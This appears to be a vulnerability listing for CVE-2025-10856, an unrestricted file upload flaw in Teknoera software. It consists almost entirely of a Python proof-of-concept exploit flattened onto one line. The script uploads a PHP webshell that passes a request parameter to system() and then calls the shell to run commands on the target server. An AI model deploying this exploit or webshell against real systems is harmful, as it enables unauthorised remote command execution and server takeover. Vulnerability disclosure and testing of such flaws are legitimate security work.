CVE-2025-10856 Teknoera危险类型文件无限制上传漏洞

# CVE-2025-10856 PoC - Teknoera File Upload Vulnerability import requests import sys target_url = "http://target-server.com/teknoera/upload" # Malicious PHP webshell content webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" files = { 'file': ('shell.php', webshell_content, 'application/x-php') } data = { 'user_id': 'attacker_low_privilege_account' } try: response = requests.post(target_url, files=files, data=data, timeout=10) if response.status_code == 200: # Extract uploaded file path from response uploaded_path = response.json().get('file_path', '') print(f"[+] File uploaded successfully: {uploaded_path}") # Execute command via webshell if uploaded_path: exec_url = f"http://target-server.com{uploaded_path}?cmd=whoami" exec_response = requests.get(exec_url) print(f"[+] Command output: {exec_response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1)